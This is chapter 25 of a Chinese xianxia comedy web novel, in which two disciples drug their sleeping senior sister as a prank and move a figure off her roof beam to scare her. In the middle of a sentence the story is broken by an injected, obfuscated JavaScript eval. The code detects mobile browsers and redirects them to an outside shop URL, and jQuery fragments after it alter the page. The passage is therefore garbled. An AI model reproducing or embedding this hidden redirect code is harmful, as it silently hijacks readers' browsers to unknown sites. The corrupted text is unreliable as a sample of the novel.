25. 第 25 章

作品:《仙君今日安否

    寂静的夜晚里。


    两个身穿黑衣的身影正鬼鬼崇崇左看右看的前进着。


    突然,余念脚尖一痛,猛地推开君子乐:“你踩到我了!”


    君子乐被推得身影一晃:“不好意思,我不是故意的。”


    远处火光传来,俩人怱忙躲藏,可脚步声依旧越来越近,再走近几步就能发现他们。


    余念心一横,直接拉着君子乐躲进身后岁衡居住的院子里关上门。


    然后趴在门上,观察着巡视的待卫。


    岁衡正坐在院中喝着茶赏月,就被一对熟悉的身影撞进眼帘。


    虽说俩人做了伪装,但她还是凭身高和身形认出来了。


    察觉有目光看着自己,君子乐回头笑道:“师尊,晚上好。”


    余念过去坐下:“师叔,晚上好,喝喝你的茶,润润喉。”


    岁??目光在俩人之间流传:“……你俩这是去干什么?”


    一想到接下来的要做事情,君子乐和余念就控制不住的奸笑。


    没对视还好,一对视更不得了,好像对方长在了自己身上笑点上似的。


    看着俩人迷惑的行为,岁衡不理但尊重,在心里默默担忧他们的法令纹。


    别的宗门师兄妹是盟友,他们是病友。


    “别笑了。”岁衡神情依旧清冷,淡淡道:“当心喘不过气。”


    君子乐一向比较爱惜自己的性命,立刻听话的止住笑声:“好的师尊。”


    余念道:“好的师叔,师叔真好。”


    岁??长睫扑闪两下,望着他们离开的背影,眼底不自觉地流露出和蔼可亲的温柔。


    明日的耳根子怕是又要不清净了。


    漆黑的天空中只有几颗星星依稀可见,这几个光点倒让夜空多了几分色彩。


    出了岁??院子后,君子乐和余念便按照刚才鬼鬼崇崇偷偷摸摸的模样,一路鬼鬼崇崇摸到沈诗云院外。


    再三确认四下无人,沈诗云也熟睡后才悄然声息溜进她屋内。


    余念小心翼翼从怀里掏心迷药,放近沈诗云鼻子里一吹,等待几分钟后,戳了戳她,见毫无反应,完全没有醒来的迹象后满意地笑了笑。


    “大功告成。”余念细心地将纸塞进怀里收好:“不过就一柱香的时间,我们得动作快点。”


    君子乐点头:“明白,我想想怎样才能把王乐搬下来。”


    房梁很高,俩人不是剑修,身上也没有什么能御行的法器,要想把上面的王乐搬下来也是不容易。


    于是师兄妹二人就这么抱着胸,抬着头,一动不动的盯着房梁的王乐。


    看似在思考,实则也不知道是不是在思考。


    过了好一会儿,腿的姿势都换了好几个了,也没想出个所以然来。


    余念脑袋空空,实在是想不到别的法子,没办法了说道:“师兄,你踩着我肩膀上去,你这么高肯定能够到。”


    这话她是心甘情愿说的,为了任务被人踩一下肩膀又如何。


    根本不值一提。


    君子乐想都没想就立即拒绝,道:“不行不行,你是女孩子,身娇肉贵,金枝玉叶的,况且我还不轻,肯定是不能踩你肩膀的,不妥不妥。”


    这话说得余念都有些感动了:“我又不是千金大小姐,也不是什么金枝玉叶,没那么金贵,踩两下又没事,我扛得住。”


    君子乐认真道:“女孩子都是金枝玉叶,要好好爱护的。那就换过来,你踩我吧,你说的我够高,够得到,而且你扛猪都可以,扛个人也是小意思吧?”


    余念不可置否:“那当然。”


    见她松口,君子乐就单膝跪地,拍拍肩膀,示意让她踩上来。


    余念也不再拒绝,双手揪住他头发,动作利落地踩上去。


    肩膀上一阵痛意传来,君子乐没有退缩,双手扶住她脚踝,咬着牙站起来。


    余念努力维持着身体平衡:“师兄,够不到,往右边一点。”


    尽管肩膀已痛得不行,远远超过了他的承受范围,但君子乐还是听话配合:“好,你小心点,别摔下来了。”


    不说还好,一说余念就更紧张了,强行控制不让腿发软,摇摇晃晃地险些跌倒。


    好不容易摸到王乐的衣角,刚松了口气就毫无预兆,扑通一声摔倒在地。


    转变来得太快,导致余念都没反应过来,只觉心脏在砰砰砰地跳,额头渗出汗珠。


    愣了一小会儿,才反应过来身下有个人肉坐垫君子乐,起身一看,只见他一动不动趴在地上,满脸生无可恋。


    “不好意思师兄,你没事吧?”余念想扶起他,奈何他就像被人抽筋扒骨似的,软棉棉的,扶都扶不起来。


    君子乐摔了个结结实实,加上肩膀痛得历害,疼痛比他想象中的多了几十倍,倒也不是说余念重,而是他从小养尊处优受不了。


    肩不能扛,手不能抬的。


    越是这样,君子乐就越不信邪,他今天就是不踩余念肩膀:“不行,再来,我就不信了,还能痛死我不成!”


    余念也不娇情,抓紧时间再次踩上他肩膀。


    俩人摇摇晃晃的走着,在心里默默祈祷千万不要摔倒。


    然而最怕什么就来什么。


    下一秒就再一次结结实实地摔向地面。


    俩人感觉脑瓜子嗡嗡的。


    有点痛又有点晕,但很快就重新站起来继续尝试,时间不多了,得尽快。


    有了前两次的经验,君子乐学聪明了,等余念站上去了就往她小腿上贴张定住符,等扛着她走着王乐面前,调整好,符纸也已经失效。


    没了束缚,余念动作麻利像扛丹炉一样将王乐扛上肩膀。


    突然增加的重要差点让君子乐跪了下去,赶紧贴上符纸稳住身形,然后迅速将俩人放了下来。


    君子乐感觉肩膀传来火辣辣的疼,很痛很痛,痛到他不知该如何形容。


    不出意外的话应该是肿了。


    同时心里也在庆幸还好没让余念来,不然她怕是要哭出来。


    效果很快过去,余念看出君子乐很难受:“师兄,你怎么样了?”


    君子乐还想揉两上缓解,谁知一碰就疼得死去活来:“没事没事,我们先干正事。”


    余念没想到他一个养尊处优,细皮嫩肉的大少爷竟然如此能抗,明明很痛却还是一声不吭。


    清绪说的果然没错,君子乐就是一个没有少爷病的大少爷。


    君子乐忍着疼痛,思考要将王乐放在何处才最显眼。


    余念好像看见沈诗云的手指动了一下,似是要醒,顿时紧张起来:“师兄师兄,师姐动了,手指动了。”


    君子乐一听,不管三七二十一了,没时间了,直接将王乐放在床边,贴上符纸,就带着余念躲到院外。


    等沈诗云醒来必定能一眼就看见,到时候看谁吓死谁。


    俩人噤声扒在窗边外盯着,心脏不自觉加快,略显紧张。


    沈诗云迷迷糊糊,感觉自己好像置身于梦境,睁开沉重的眼皮,一张面朝自己的脸瞬间映入眼帘。


    下意识地尖叫出声。


    擦了把冷汗,强迫自己冷静下来,手慌张地揉着眼睛,怀疑自己出现了幻觉。


    再次睁开眼时,王乐从站着变成了躺着,只是位置没变。


    沈诗云试探性地踢了踢他,见他毫无反应,才松了口气,抬头看向床上方的房梁,十分不解他是怎么掉下来的。


    难道是自己白天的时候没放好?


    带着满脑的疑惑,扛起他仔细包好,再次踩着术灵剑将他放了上去。


    这次并未立即离去,而是盯着他观察了好一会儿,确认他不会掉下来后才放心离开。


    躺下后眼皮又变重了起来,没几秒就失去了意识,进入了梦乡。


    门悄咪咪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17047610|190634||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    开了。


    君子乐和余念静悄悄地走了进来,看着熟睡的沈诗云满意地坏笑。


    余念道:“师兄,你这招实在是妙啊,等下再来一次师姐怕不是以为闹鬼了,而且白天她还试探我们知不知道王乐不见了的事,我们还装得天衣无缝。”


    君子乐道:“那当然,你师兄我聪明着呢。继续再来一次。”


    俩人笑嘻嘻像上次一样,将王乐搬下来,但这次同上次不同,没有贴符纸让王乐站着,而是将他放到地上,也是保证让沈诗云一眼就能看到。


    做完后又迅速离开,这次为了不被发现,他们不躲窗户外,而是躲到院子的大门外边。


    房门“蹭”一下踹开,沈诗云黑着脸走了出来,先是站在原地徘徊,而后看看房顶,又巡视了一圈院子,誓必要找出那个装神弄鬼之人!


    找来找去愣是没发现什么可疑的地方,地上连脚印都没有。


    沈诗云不信邪,认定必是有人在搞鬼。


    站在门外许久,除了寒风呼啸,也未曾听见什么声响。


    躲在暗处里的余念和君子乐听见关门声,试探性地探出个头观察。


    于此同时,沈诗云房里的烛火熄灭。


    余念轻轻扯了扯君子乐的衣袖,道:“师兄,好刺激啊,要不要再来一次?”


    君子乐摇头,道:“事不过三,师姐此刻肯定在装睡,守株待兔呢,我们走,明天继续装傻充愣就是了。”


    话落,轻微的脚步声渐行渐远,直至在这寂静的夜里彻底消失。


    躺在床上的沈诗云翘着二郎腿,抱着胸,目不转晴地盯着房门,那架势好像一有人进来她就立刻拔剑将来人砍成碎片。


    刚开始她还坚持不懈,躺着,坐着,趴着,站着,各种姿势换了又换。


    耐心也被一点一点消磨殆尽。


    最关键的是眼皮越来越重,困得几乎睁不开,被逼无奈将灵言放了出来。


    “娃娃脸,你大胆!”


    身体的困意被突如其来的吼声震飞,飘到了九宵云外。


    沈诗云淡定道:“我胆子确实挺大的。”


    “……”灵言说道:“好你个娃娃脸!你别以为我没脾气!不仅把我打晕还将我关起来!”


    沈诗云一下子精神多了:“那又怎样?改改你那暴躁的脾气吧。”


    灵言道:“我凭什么要改,倒是你,看看你那娃娃脸和那干扁扁的身体,还有那称不上是脾气的脾气,没有钱的钱袋,真是没用。”


    刺耳,好刺耳。


    提神是提神的,就是容易怒气上涌,没点承受能力的一般人不建议尝试。


    因为容易破防。


    沈诗云感觉心灵受到了巨大的伤害,不报复回去今晚她就合不上眼!


    “听我说谢谢你,听我谢谢你,听我谢谢你,听我说谢谢你~不听也得听~”


    沈诗云用优美的歌声和优秀的歌词,不停围绕在灵言耳边唱着。


    无视她的认同的表情,不给她任何夸她赞赏她的机会,继续用动人的天簌之音激情唱着。


    越发动人陶醉。


    让人听了都难听的想落泪。


    灵言:“……”


    眼前人突然消失,沈诗云终于停了下来,得意忘形挑衅她,道:“怎么了?不好听吗?去哪里?出来啊,继续聊聊。”


    没有声响,没有任何声响。


    沈诗云看着桌上一动不动的束缚鞭笑倒在床上,兴奋激动地在床上滚了两圈。


    平复心情后,被压在已久的困意压过了那股兴奋劲儿。


    不知不觉己折腾了一整晚,沈诗云打了声哈欠,再也坚持不住,沉沉睡去。


    变回束缚鞭的灵言听见沈诗云安静下来,莫名松了口气。


    一想到她刚才那个该死的歌声就浑身起鸡皮疙瘩,难受得不行。


    时间悄然流逝,天边逐渐泛起鱼肚白。